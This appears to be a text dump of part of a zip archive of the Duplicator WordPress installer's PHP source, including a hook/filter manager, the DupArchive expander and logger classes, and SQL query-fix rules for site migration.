$this->filters[$tag]->addFilter($tag, $function_to_add, $priority, $accepted_args); return true; } /** * Checks if any filter has been registered for a hook. * * When using the `$function_to_check` argument, this function may return a non-boolean value * that evaluates to false (e.g. 0), so use the `===` operator for testing the return value. * * @param string $tag The name of the filter hook. * @param callable|false $function_to_check Optional. The callback to check for. Default false. * * @return bool|int If `$function_to_check` is omitted, returns boolean for whether the hook has * anything registered. When checking a specific function, the priority of that * hook is returned, or false if the function is not attached. */ public function hasFilter($tag, $function_to_check = false) { if (!isset($this->filters[$tag])) { return false; } return $this->filters[$tag]->hasFilter($tag, $function_to_check); } /** * Calls the callback functions that have been added to a filter hook. * * The callback functions attached to the filter hook are invoked by calling * this function. This function can be used to create a new filter hook by * simply calling this function with the name of the new hook specified using * the `$tag` parameter. * * The function also allows for multiple additional arguments to be passed to hooks. * * Example usage: * * // The filter callback function. * function example_callback( $string, $arg1, $arg2 ) { * // (maybe) modify $string. * return $string; * } * add_filter( 'example_filter', 'example_callback', 10, 3 ); * * /* * * Apply the filters by calling the 'example_callback()' function * * that's hooked onto `example_filter` above. * * * * - 'example_filter' is the filter hook. * * - 'filter me' is the value being filtered. * * - $arg1 and $arg2 are the additional arguments passed to the callback. * $value = applyFilters( 'example_filter', 'filter me', $arg1, $arg2 ); * * @param string $tag The name of the filter hook. * @param mixed $value The value to filter. * ... $args Additional parameters to pass to the callback functions. * * @return mixed The filtered value after all hooked functions are applied to it. */ public function applyFilters($tag, $value) { $args = func_get_args(); // Do 'all' actions first. if (isset($this->filters['all'])) { $this->currentFilter[] = $tag; $this->callAllHook($args); } if (!isset($this->filters[$tag])) { if (isset($this->filters['all'])) { array_pop($this->currentFilter); } return $value; } if (!isset($this->filters['all'])) { $this->currentFilter[] = $tag; } // Don't pass the tag name to Hook. array_shift($args); $filtered = $this->filters[$tag]->applyFilters($value, $args); array_pop($this->currentFilter); return $filtered; } /** * Removes a function from a specified filter hook. * * This function removes a function attached to a specified filter hook. This * method can be used to remove default functions attached to a specific filter * hook and possibly replace them with a substitute. * * To remove a hook, the $function_to_remove and $priority arguments must match * when the hook was added. This goes for both filters and actions. No warning * will be given on removal failure. * * @param string $tag The filter hook to which the function to be removed is hooked. * @param callable $function_to_remove The name of the function which should be removed. * @param int $priority Optional. The priority of the function. Default 10. * * @return bool Whether the function existed before it was removed. */ public function removeFilter($tag, $function_to_remove, $priority = 10) { $r = false; if (isset($this->filters[$tag])) { $r = $this->filters[$tag]->removeFilter($tag, $function_to_remove, $priority); if (!$this->filters[$tag]->callbacks) { unset($this->filters[$tag]); } } return $r; } /** * Remove all of the hooks from a filter. * * @param string $tag The filter to remove hooks from. * @param int|false $priority Optional. The priority number to remove. Default false. * * @return true True when finished. */ public function removeAllFilters($tag, $priority = false) { if (isset($this->filters[$tag])) { $this->filters[$tag]->removeAllFilters($priority); if (!$this->filters[$tag]->hasFilters()) { unset($this->filters[$tag]); } } return true; } /** * Hooks a function on to a specific action. * * Actions are the hooks that the WordPress core launches at specific points * during execution, or when specific events occur. Plugins can specify that * one or more of its PHP functions are executed at these points, using the * Action API. * * @param string $tag The name of the action to which the $function_to_add is hooked. * @param callable $function_to_add The name of the function you wish to be called. * @param int $priority Optional. Used to specify the order in which the functions * associated with a particular action are executed. Default 10. * Lower numbers correspond with earlier execution, * and functions with the same priority are executed * in the order in which they were added to the action. * @param int $accepted_args Optional. The number of arguments the function accepts. Default 1. * * @return true Will always return true. */ public function addAction($tag, $function_to_add, $priority = 10, $accepted_args = 1) { return $this->addFilter($tag, $function_to_add, $priority, $accepted_args); } /** * Execute functions hooked on a specific action hook. * * This function invokes all functions attached to action hook `$tag`. It is * possible to create new action hooks by simply calling this function, * specifying the name of the new hook using the `$tag` parameter. * * You can pass extra arguments to the hooks, much like you can with `applyFilters()`. * * Example usage: * * // The action callback function. * function example_callback( $arg1, $arg2 ) { * // (maybe) do something with the args. * } * add_action( 'example_action', 'example_callback', 10, 2 ); * * /* * * Trigger the actions by calling the 'example_callback()' function * * that's hooked onto `example_action` above. * * * * - 'example_action' is the action hook. * * - $arg1 and $arg2 are the additional arguments passed to the callback. * $value = do_action( 'example_action', $arg1, $arg2 ); * * @global Hook[] $this->filters Stores all of the filters and actions. * @global string[] $this->currentFilter Stores the list of current filters with the current one last. * * @param string $tag The name of the action to be executed. * ...$arg Optional. Additional arguments which are passed on to the * functions hooked to the action. Default empty. * * @return void */ public function doAction($tag) { $arg = $all_args = func_get_args(); array_shift($arg); // remove tag action // Do 'all' actions first. if (isset($this->filters['all'])) { $this->currentFilter[] = $tag; $this->callAllHook($all_args); } if (!isset($this->filters[$tag])) { if (isset($this->filters['all'])) { array_pop($this->currentFilter); } return; } if (!isset($this->filters['all'])) { $this->currentFilter[] = $tag; } if (empty($arg)) { $arg[] = ''; } elseif (is_array($arg[0]) && 1 === count($arg[0]) && isset($arg[0][0]) && is_object($arg[0][0])) { // Backward compatibility for PHP4-style passing of `array( &$this )` as action `$arg`. $arg[0] = $arg[0][0]; } $this->filters[$tag]->doAction($arg); array_pop($this->currentFilter); } /** * Checks if any action has been registered for a hook. * * When using the `$function_to_check` argument, this function may return a non-boolean value * that evaluates to false (e.g. 0), so use the `===` operator for testing the return value. * * @see hasFilter() has_action() is an alias of hasFilter(). * * @param string $tag The name of the action hook. * @param callable|false $function_to_check Optional. The callback to check for. Default false. * * @return bool|int If `$function_to_check` is omitted, returns boolean for whether the hook has * anything registered. When checking a specific function, the priority of that * hook is returned, or false if the function is not attached. */ public function hasAction($tag, $function_to_check = false) { return $this->hasFilter($tag, $function_to_check); } /** * Removes a function from a specified action hook. * * This function removes a function attached to a specified action hook. This * method can be used to remove default functions attached to a specific filter * hook and possibly replace them with a substitute. * * @param string $tag The action hook to which the function to be removed is hooked. * @param callable $function_to_remove The name of the function which should be removed. * @param int $priority Optional. The priority of the function. Default 10. * * @return bool Whether the function is removed. */ public function removeAction($tag, $function_to_remove, $priority = 10) { return $this->removeFilter($tag, $function_to_remove, $priority); } /** * Remove all of the hooks from an action. * * @param string $tag The action to remove hooks from. * @param int|false $priority The priority number to remove them from. Default false. * * @return true True when finished. */ public function removeAllActions($tag, $priority = false) { return $this->removeAllFilters($tag, $priority); } /** * Retrieve the name of the current filter or action. * * @global string[] $wp_current_filter Stores the list of current filters with the current one last * * @return string Hook name of the current filter or action. */ public function currentFilter() { return end($this->currentFilter); } /** * Retrieve the name of the current action. * * @return string Hook name of the current action. */ public function currentAction() { return $this->currentFilter(); } /** * Call the 'all' hook, which will process the functions hooked into it. * * The 'all' hook passes all of the arguments or parameters that were used for * the hook, which this function was called for. * * This function is used internally for apply_filters(), do_action(), and * do_action_ref_array() and is not meant to be used from outside those * functions. This function does not check for the existence of the all hook, so * it will fail unless the all hook exists prior to this function call. * * @global Hook[] $this->filters Stores all of the filters and actions. * * @param array $args The collected parameters from the hook that was called. * * @return void */ private function callAllHook($args) { $this->filters['all']->doAllHook($args); } } PK �<\�z�� % Core/Deploy/DupArchive/DawsLogger.phpnu �[��� <?php /** * Logger for dup archive * * @package Duplicator * @copyright (c) 2021, Snapcreek LLC */ namespace Duplicator\Installer\Core\Deploy\DupArchive; use Duplicator\Installer\Utils\Log\Log; use Duplicator\Libs\DupArchive\DupArchiveLoggerBase; use Exception; /** * Logger for dup archive */ class DawsLogger extends DupArchiveLoggerBase { /** * Init logger * * @return void */ public static function init() { set_error_handler(array(__CLASS__, "terminateMissingVariables"), E_ERROR); } /** * Log function * * @param string $s string to log * @param boolean $flush if true flish log * @param callback|null $callingFunctionOverride call back function * * @return void */ public function log($s, $flush = false, $callingFunctionOverride = null) { Log::info($s, Log::LV_DEFAULT, $flush); } /** * Throw exception on php error * * @param int $errno errno * @param string $errstr error message * @param string $errfile file * @param string $errline line * * @return void */ public static function terminateMissingVariables($errno, $errstr, $errfile, $errline) { Log::info("ERROR $errno, $errstr, {$errfile}:{$errline}"); /** * INTERCEPT ON processRequest AND RETURN JSON STATUS */ throw new Exception("ERROR:{$errfile}:{$errline} | " . $errstr, $errno); } } PK �<\Ү� * Core/Deploy/DupArchive/DawsExpandState.phpnu �[��� <?php /** * Dup archvie expand state * * @package Duplicator * @copyright (c) 2021, Snapcreek LLC */ namespace Duplicator\Installer\Core\Deploy\DupArchive; use Duplicator\Libs\DupArchive\States\DupArchiveExpandState; use Duplicator\Libs\DupArchive\Utils\DupArchiveUtil; use Duplicator\Libs\Snap\SnapIO; use stdClass; class DawsExpandState extends DupArchiveExpandState { protected static $instance = null; const STATE_FILE = 'expandstate.json'; /** * Class constructor */ public function __construct() { $this->initMembers(); } /** * Remove state file * * @return bool */ public static function purgeStatefile() { $stateFilepath = dirname(__FILE__) . '/' . self::STATE_FILE; if (!file_exists($stateFilepath)) { return true; } return SnapIO::rm($stateFilepath, false); } /** * * @param boolean $reset reset state * * @return self */ public static function getInstance($reset = false) { if ((self::$instance == null) && (!$reset)) { $stateFilepath = dirname(__FILE__) . '/' . self::STATE_FILE; self::$instance = new self(); if (file_exists($stateFilepath)) { $stateHandle = SnapIO::fopen($stateFilepath, 'rb'); // RSR we shouldn't need read locks and it seems to screw up on some boxes anyway.. SnapIO::flock($stateHandle, LOCK_EX); $stateString = fread($stateHandle, filesize($stateFilepath)); $data = json_decode($stateString, false); self::$instance->setFromData($data); self::$instance->fileRenames = (array) (self::$instance->fileRenames); // SnapIO::flock($stateHandle, LOCK_UN); SnapIO::fclose($stateHandle); } else { $reset = true; } } if ($reset) { self::$instance = new self(); self::$instance->reset(); } return self::$instance; } /** * Init state from data * * @param stdClass $data data * * @return void */ private function setFromData($data) { foreach ($data as $key => $val) { if (!property_exists($this, $key)) { continue; } $this->{$key} = $val; } } /** * Reset state * * @return void */ public function reset() { $stateFilepath = dirname(__FILE__) . '/' . self::STATE_FILE; $stateHandle = SnapIO::fopen($stateFilepath, 'w'); SnapIO::flock($stateHandle, LOCK_EX); $this->initMembers(); SnapIO::fwrite($stateHandle, json_encode($this)); SnapIO::flock($stateHandle, LOCK_UN); SnapIO::fclose($stateHandle); } /** * Save state * * @return void */ public function save() { $stateFilepath = dirname(__FILE__) . '/' . self::STATE_FILE; $stateHandle = SnapIO::fopen($stateFilepath, 'w'); SnapIO::flock($stateHandle, LOCK_EX); DupArchiveUtil::tlog("saving state"); SnapIO::fwrite($stateHandle, json_encode($this)); SnapIO::flock($stateHandle, LOCK_UN); SnapIO::fclose($stateHandle); } /** * Init props * * @return void */ private function initMembers() { $this->currentFileHeader = null; $this->archiveOffset = 0; $this->archiveHeader = 0; $this->archivePath = null; $this->basePath = null; $this->currentFileOffset = 0; $this->failures = array(); $this->isCompressed = false; $this->startTimestamp = time(); $this->timeSliceInSecs = -1; $this->working = false; $this->validateOnly = false; $this->filteredDirectories = array(); $this->filteredFiles = array(); $this->fileRenames = array(); $this->directoryModeOverride = -1; $this->fileModeOverride = -1; $this->lastHeaderOffset = -1; $this->throttleDelayInUs = 0; $this->timerEnabled = true; } } PK �<\���s� � Core/Deploy/DupArchive/Daws.phpnu �[��� <?php /** * Dup archive expander * * @package Duplicator * @copyright (c) 2021, Snapcreek LLC */ namespace Duplicator\Installer\Core\Deploy\DupArchive; use DupArchiveStateBase; use Duplicator\Installer\Utils\Log\Log; use Duplicator\Libs\DupArchive\DupArchiveEngine; use Duplicator\Libs\DupArchive\Processors\DupArchiveFileProcessor; use Duplicator\Libs\Snap\SnapIO; use Duplicator\Libs\Snap\SnapUtil; use DUPX_ArchiveConfig; use DUPX_Package; use Exception; use stdClass; class Daws { const DEFAULT_WORKER_TIME = 18; protected $lock_handle = null; protected $failureCallback = null; protected $lockFile = ''; protected $cancelFile = ''; /** * Class contruct */ public function __construct() { DawsLogger::init(); date_default_timezone_set('UTC'); // Some machines don’t have this set so just do it here. DupArchiveEngine::init(new DawsLogger(), null); $this->lockFile = DUPX_INIT . '/dup-installer-dawslock__' . DUPX_Package::getPackageHash() . '.bin'; $this->cancelFile = DUPX_INIT . '/dup-installer-dawscancel__' . DUPX_Package::getPackageHash() . '.bin'; } /** * Failure callback * * @param callable $callback callback * * @return void */ public function setFailureCallBack($callback) { if (is_callable($callback)) { $this->failureCallback = $callback; } } /** * Extract dup archvie * * @param array $params dup archvie params * * @return stdClass */ public function processRequest($params) { $retVal = new stdClass(); $retVal->pass = false; $action = $params['action']; $initializeState = false; $archiveConfig = DUPX_ArchiveConfig::getInstance(); if (!DupArchiveFileProcessor::setNewFilePathCallback(array($archiveConfig, 'destFileFromArchiveName'))) { Log::info('ERROR: CAN\'T SET THE PATH SE CALLBACK FUNCTION'); } else { Log::info('PATH SE CALLBACK FUNCTION OK ', Log::LV_DEBUG); } $throttleDelayInMs = SnapUtil::getArrayValue($params, 'throttle_delay', false, 0); if ($action == 'start_expand') { Log::info('DAWN START EXPAND'); $initializeState = true; DawsExpandState::purgeStatefile(); SnapIO::rm($this->cancelFile); $archiveFilepath = SnapUtil::getArrayValue($params, 'archive_filepath'); $restoreDirectory = SnapUtil::getArrayValue($params, 'restore_directory'); $workerTime = SnapUtil::getArrayValue($params, 'worker_time', false, self::DEFAULT_WORKER_TIME); $filteredDirectories = SnapUtil::getArrayValue($params, 'filtered_directories', false, array()); $excludedDirWithoutChilds = SnapUtil::getArrayValue($params, 'excludedDirWithoutChilds', false, array()); $filteredFiles = SnapUtil::getArrayValue($params, 'filtered_files', false, array()); $fileRenames = SnapUtil::getArrayValue($params, 'fileRenames', false, array()); $fileModeOverride = SnapUtil::getArrayValue($params, 'file_mode_override', false, 0644); $includedFiles = SnapUtil::getArrayValue($params, 'includedFiles', false, array()); $directoryModeOverride = SnapUtil::getArrayValue($params, 'dir_mode_override', false, 0755); $keepFileTime = SnapUtil::getArrayValue($params, 'keep_file_time', false, false); $action = 'expand'; } else { Log::info('DAWN CONTINUE EXPAND'); } if ($action == 'expand') { $expandState = DawsExpandState::getInstance($initializeState); $this->lock_handle = SnapIO::fopen($this->lockFile, 'c+'); SnapIO::flock($this->lock_handle, LOCK_EX); if ($initializeState || $expandState->working) { if ($initializeState) { $expandState->archivePath = $archiveFilepath; $expandState->working = true; $expandState->timeSliceInSecs = $workerTime; $expandState->basePath = $restoreDirectory; $expandState->filteredDirectories = $filteredDirectories; $expandState->excludedDirWithoutChilds = $excludedDirWithoutChilds; $expandState->includedFiles = $includedFiles; $expandState->filteredFiles = $filteredFiles; $expandState->fileRenames = $fileRenames; $expandState->fileModeOverride = $fileModeOverride; $expandState->directoryModeOverride = $directoryModeOverride; $expandState->keepFileTime = $keepFileTime; $expandState->save(); } $expandState->throttleDelayInUs = 1000 * $throttleDelayInMs; DupArchiveEngine::expandArchive($expandState); } if (!$expandState->working) { $deltaTime = time() - $expandState->startTimestamp; Log::info("DAWN EXPAND DONE, SECONDS: " . $deltaTime, Log::LV_DETAILED); if (count($expandState->failures) > 0) { Log::info('DAWN EXPAND ERRORS DETECTED'); foreach ($expandState->failures as $failure) { Log::info("{$failure->subject}:{$failure->description}"); if (is_callable($this->failureCallback)) { call_user_func($this->failureCallback, $failure); } } } } else { Log::info("DAWN EXPAND CONTINUE", Log::LV_DETAILED); } SnapIO::flock($this->lock_handle, LOCK_UN); $retVal->pass = true; $retVal->status = $this->getStatus($expandState); } elseif ($action == 'get_status') { /* @var $expandState DawsExpandState */ $expandState = DawsExpandState::getInstance($initializeState); $retVal->pass = true; $retVal->status = $this->getStatus($expandState); } elseif ($action == 'cancel') { if (!SnapIO::touch($this->cancelFile)) { throw new Exception("Couldn't update time on " . $this->cancelFile); } $retVal->pass = true; } else { throw new Exception('Unknown command.'); } session_write_close(); return $retVal; } /** * Get dup archive status * * @param DupArchiveStateBase $state dup archive state * * @return stdClass */ private function getStatus(DawsExpandState $state) { $ret_val = new stdClass(); $ret_val->archive_offset = $state->archiveOffset; $ret_val->archive_size = @filesize($state->archivePath); $ret_val->failures = $state->failures; $ret_val->file_index = $state->fileWriteCount; $ret_val->is_done = !$state->working; $ret_val->timestamp = time(); return $ret_val; } } PK �<\�B��. �. # Core/Deploy/Database/QueryFixes.phpnu �[��� <?php namespace Duplicator\Installer\Core\Deploy\Database; use Duplicator\Installer\Core\Params\PrmMng; use Duplicator\Installer\Utils\Log\Log; use Duplicator\Libs\Snap\JsonSerialize\AbstractJsonSerializable; use DUPX_ArchiveConfig; use DUPX_DB_Functions; use DUPX_DB_Tables; use DUPX_DBInstall; use DUPX_InstallerState; use Exception; class QueryFixes extends AbstractJsonSerializable { const TEMP_POSTFIX = 't_'; const USER_DEFINER_REPLACE_PATTERN = "/^(\s*(?:\/\*!\d+\s)?\s*(?:CREATE.+)?DEFINER\s*=)([^\*\s]+)(.*)$/m"; const USER_DEFINER_REMOVE_PATTERN = "/^(\s*(?:\/\*!\d+\s)?\s*(?:CREATE.+)?)(DEFINER\s*=\s*\S+)(.*)$/m"; const USER_DEFINER_REMOVE_REPLACE = '$1 $3'; const SQL_SECURITY_INVOKER_PATTERN = "/^(\s*CREATE.+(?:PROCEDURE|FUNCTION)[\s\S]*)(BEGIN)([\s\S]*)$/"; const SQL_SECURITY_INVOKER_REPLACE = "$1SQL SECURITY INVOKER\n$2$3"; /** @var array */ protected $globalRules = array( 'search' => array(), 'replace' => array() ); /** @var array */ protected $tablesPrefixRules = array(); /** @var string */ protected $generatorLog = ''; /** * Class constructor */ public function __construct() { $this->rulesProcAndViews(); $this->rulesMySQLEngine(); $this->legacyCharsetAndCollation(); $this->rulesTableNames(); } /** * Filter props on json encode * * @return string[] */ public function __sleep() { $props = array_keys(get_object_vars($this)); return array_diff($props, array('generatorLog')); } /** * Write rules in log * * @return void */ public function logRules() { if (strlen($this->generatorLog) == 0) { Log::info('NO GENERAL QUERY FIXES'); } else { Log::info('QUERY FIXES'); Log::info($this->generatorLog); } if (count($this->globalRules['search']) > 0) { Log::info('QUERY FIXES GLOBAL RULES'); Log::incIndent(); foreach ($this->globalRules['search'] as $index => $search) { Log::info('SEARCH => ' . $search); Log::info('REPLACE => ' . $this->globalRules['replace'][$index] . "\n"); } Log::resetIndent(); } if (count($this->tablesPrefixRules) > 0) { Log::info('QUERY FIXES TABLES RULES'); Log::incIndent(); foreach ($this->tablesPrefixRules as $indexRulesSet => $ruleSet) { Log::info('RULESET ' . ($indexRulesSet + 1)); Log::incIndent(); foreach ($ruleSet['search'] as $index => $search) { Log::info('SEARCH => ' . $search); Log::info('REPLACE => ' . $ruleSet['replace'][$index] . "\n"); } Log::decIndent(); } Log::resetIndent(); } } /** * @param string $query query to fix * * @return string The query with appropriate substitutions done */ public function applyFixes($query) { $query = preg_replace($this->globalRules['search'], $this->globalRules['replace'], $query); foreach ($this->tablesPrefixRules as $ruleSet) { $query = preg_replace($ruleSet['search'], $ruleSet['replace'], $query); } return $query; } /** * Set search and replace rules * * @return void */ protected function rulesProcAndViews() { if (DUPX_InstallerState::isRestoreBackup()) { return; } if (PrmMng::getInstance()->getValue(PrmMng::PARAM_DB_REMOVE_DEFINER)) { $this->globalRules['search'][] = self::USER_DEFINER_REMOVE_PATTERN; $this->globalRules['replace'][] = self::USER_DEFINER_REMOVE_REPLACE; } else { $this->globalRules['search'][] = self::USER_DEFINER_REPLACE_PATTERN; $dbHost = PrmMng::getInstance()->getValue(PrmMng::PARAM_DB_HOST); $dbUser = PrmMng::getInstance()->getValue(PrmMng::PARAM_DB_USER); $definerHost = (($dbHost == "localhost" || $dbHost == "127.0.0.1") ? $dbHost : '%'); $this->globalRules['replace'][] = '$1' . addcslashes("`" . $dbUser . "`@`" . $definerHost . "`", '\\$') . '$3'; } $this->globalRules['search'][] = self::SQL_SECURITY_INVOKER_PATTERN; $this->globalRules['replace'][] = self::SQL_SECURITY_INVOKER_REPLACE; $this->generatorLog .= "GLOBAL RULES ADDED: PROC AND VIEWS\n"; } /** * Check invalid SQL engines * * @return void */ protected function rulesMySQLEngine() { $invalidEngines = array_map(function ($engine) { return preg_quote($engine, '/'); }, DUPX_ArchiveConfig::getInstance()->invalidEngines()); if (empty($invalidEngines)) { return; } $this->globalRules['search'][] = '/^(\s*(?:\/\*!\d+\s)?\s*CREATE.+ENGINE=)(' . implode('|', $invalidEngines) . ')(.*)$/ms'; $this->globalRules['replace'][] = '$1' . DUPX_DB_Functions::getInstance()->getDefaultEngine() . '$3'; $this->generatorLog .= "GLOBAL RULES ADDED: MYSQL ENGINES\n"; } /** * Set legacy charset adn collation rules * * regex managed examples * - `meta_value` longtext CHARACTER SET utf16 COLLATE utf16_slovak_ci DEFAULT NULL, * - `comment_author` tinytext COLLATE utf8mb4_unicode_ci NOT NULL, * - ) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci_test; * - ) ENGINE=InnoDB AUTO_INCREMENT=9 DEFAULT CHARSET=utf8mb4; * * accept ['"`]charset['"`] * * @return void */ public function legacyCharsetAndCollation() { $invalidCharsets = DUPX_ArchiveConfig::getInstance()->invalidCharsets(); $invalidCollations = DUPX_ArchiveConfig::getInstance()->invalidCollations(); $defCharsetRegex = addcslashes(DUPX_DB_Functions::getInstance()->getRealCharsetByParam(), '\\$'); $defCollateRegex = addcslashes(DUPX_DB_Functions::getInstance()->getRealCollateByParam(), '\\$'); if (count($invalidCharsets) > 0) { $invalidChrRegex = '(?:' . implode('|', array_map(function ($val) { return preg_quote($val, '/'); }, $invalidCharsets)) . ')'; $this->globalRules['search'][] = '/(^.*(?:CHARSET|CHARACTER SET)\s*[\s=]\s*[`\'"]?)(' . $invalidChrRegex . ')([`\'"]?\s.*COLLATE\s*[\s=]\s*[`\'"]?)([^`\'"\s;,]+)([`\'"]?.*$)/m'; $this->globalRules['replace'][] = '$1' . $defCharsetRegex . '$3' . $defCollateRegex . '$5'; $this->globalRules['search'][] = '/(^.*COLLATE\s*[\s=]\s*[`\'"]?)([^`\'"\s;,]+)([`\'"]?\s.*(?:CHARSET|CHARACTER SET)\s*[\s=]\s*[`\'"]?)(' . $invalidChrRegex . ')([`\'"]?[\s;,].*$)/m'; $this->globalRules['replace'][] = '$1' . $defCollateRegex . '$3' . $defCharsetRegex . '$5'; $this->globalRules['search'][] = '/(^.*(?:CHARSET|CHARACTER SET)\s*[\s=]\s*[`\'"]?)(' . $invalidChrRegex . ')([`\'"]?[\s;,].*$)/m'; $this->globalRules['replace'][] = '$1' . $defCharsetRegex . '$3'; $this->generatorLog .= "GLOBAL RULES ADDED: INVALID CHARSETS\n"; } if (count($invalidCollations) > 0) { $invalidColRegex = '(?:' . implode('|', array_map(function ($val) { return preg_quote($val, '/'); }, $invalidCollations)) . ')'; $this->globalRules['search'][] = '/(^.*(?:CHARSET|CHARACTER SET)\s*[\s=]\s*[`\'"]?)([^`\'"\s;,]+)([`\'"]?\s.*COLLATE\s*[\s=]\s*[`\'"]?)(' . $invalidColRegex . ')([`\'"]?[\s;,].*$)/m'; $this->globalRules['replace'][] = '$1' . $defCharsetRegex . '$3' . $defCollateRegex . '$5'; $this->globalRules['search'][] = '/(^.*COLLATE\s*[\s=]\s*[`\'"]?)(' . $invalidColRegex . ')([`\'"]?\s.*(?:CHARSET|CHARACTER SET)\s*[\s=]\s*[`\'"]?)([^`\'"\s;,]+)([`\'"]?.*$)/m'; $this->globalRules['replace'][] = '$1' . $defCollateRegex . '$3' . $defCharsetRegex . '$5'; $this->globalRules['search'][] = '/(^.*COLLATE\s*[\s=]\s*[`\'"]?)(' . $invalidColRegex . ')([`\'"]?[\s;,].*$)/m'; $this->globalRules['replace'][] = '$1' . $defCollateRegex . '$3'; $this->generatorLog .= "GLOBAL RULES ADDED: INVALID COLLATIONS\n"; } } /** * Set search and replace table prefix rules * * @return void */ protected function rulesTableNames() { $mapping = DUPX_DB_Tables::getInstance()->getRenameTablesMapping(); $oldPrefixes = array_keys($mapping); $newPrefixes = array(); foreach ($mapping as $oldPrefix => $newMapping) { $newPrefixes = array_merge($newPrefixes, array_keys($newMapping)); } $newPrefixes = array_unique($newPrefixes); // Prevent double transformation with temp prefix $doublePrefixes = array_intersect($oldPrefixes, $newPrefixes); if (count($doublePrefixes) > 0) { $this->generatorLog .= 'DOUBLE PREFIXES ' . Log::v2str($doublePrefixes); } foreach ($mapping as $oldPrefix => $newMapping) { $rulesSet = array( 'search' => array(), 'replace' => array() ); $quoteOldPrefix = preg_quote($oldPrefix, '/'); foreach ($newMapping as $newPrefix => $commons) { $this->generatorLog .= "TABLES RULES ADDED: CHANGE TABLES PREFIX " . $oldPrefix . " TO " . $newPrefix ; if (in_array($newPrefix, $doublePrefixes)) { $this->generatorLog .= " [USE TMP PREFIX]\n"; $newPrefix = $newPrefix . self::TEMP_POSTFIX; } else { $this->generatorLog .= "\n"; } $this->generatorLog .= "\tFOR TABLES " . implode(',', $commons) . "\n"; $quoteNewPrefix = addcslashes($newPrefix, '\\$'); $quoteCommons = array_map( function ($val) { return preg_quote($val, '/'); }, $commons ); for ($i = 0; $i < ceil(count($quoteCommons) / DUPX_DBInstall::TABLES_REGEX_CHUNK_SIZE); $i++) { $subArray = array_slice($quoteCommons, $i * DUPX_DBInstall::TABLES_REGEX_CHUNK_SIZE, DUPX_DBInstall::TABLES_REGEX_CHUNK_SIZE); if (count($subArray) == 0) { break; } $rulesSet['search'][] = '/' . $quoteOldPrefix . '(' . implode('|', $subArray) . ')/m'; $rulesSet['replace'][] = $quoteNewPrefix . '$1'; } $rulesSet['search'][] = '/(CONSTRAINT[\s\t]+[`\'"]?.+)(?-i)' . $quoteOldPrefix . '(?i)(.+[`\'"]?[\s\t]+FOREIGN[\s\t]+KEY)/mi'; $rulesSet['replace'][] = '$1' . $quoteNewPrefix . '$2'; } if (count($rulesSet['search']) > 0) { $this->tablesPrefixRules[] = $rulesSet; } } if (count($doublePrefixes)) { // REMOVE TEMP PREFIXES $rulesSet = array( 'search' => array(), 'replace' => array() ); foreach ($doublePrefixes as $prefix) { $quoteTempPrefix = preg_quote($prefix . self::TEMP_POSTFIX, '/'); $quotePrefix = addcslashes($prefix, '\\$'); $rulesSet['search'][] = '/' . $quoteTempPrefix . '/m'; $rulesSet['replace'][] = $quotePrefix . '$1'; } $this->tablesPrefixRules[] = $rulesSet; } } } PK �<\Uy�D!4 !4 "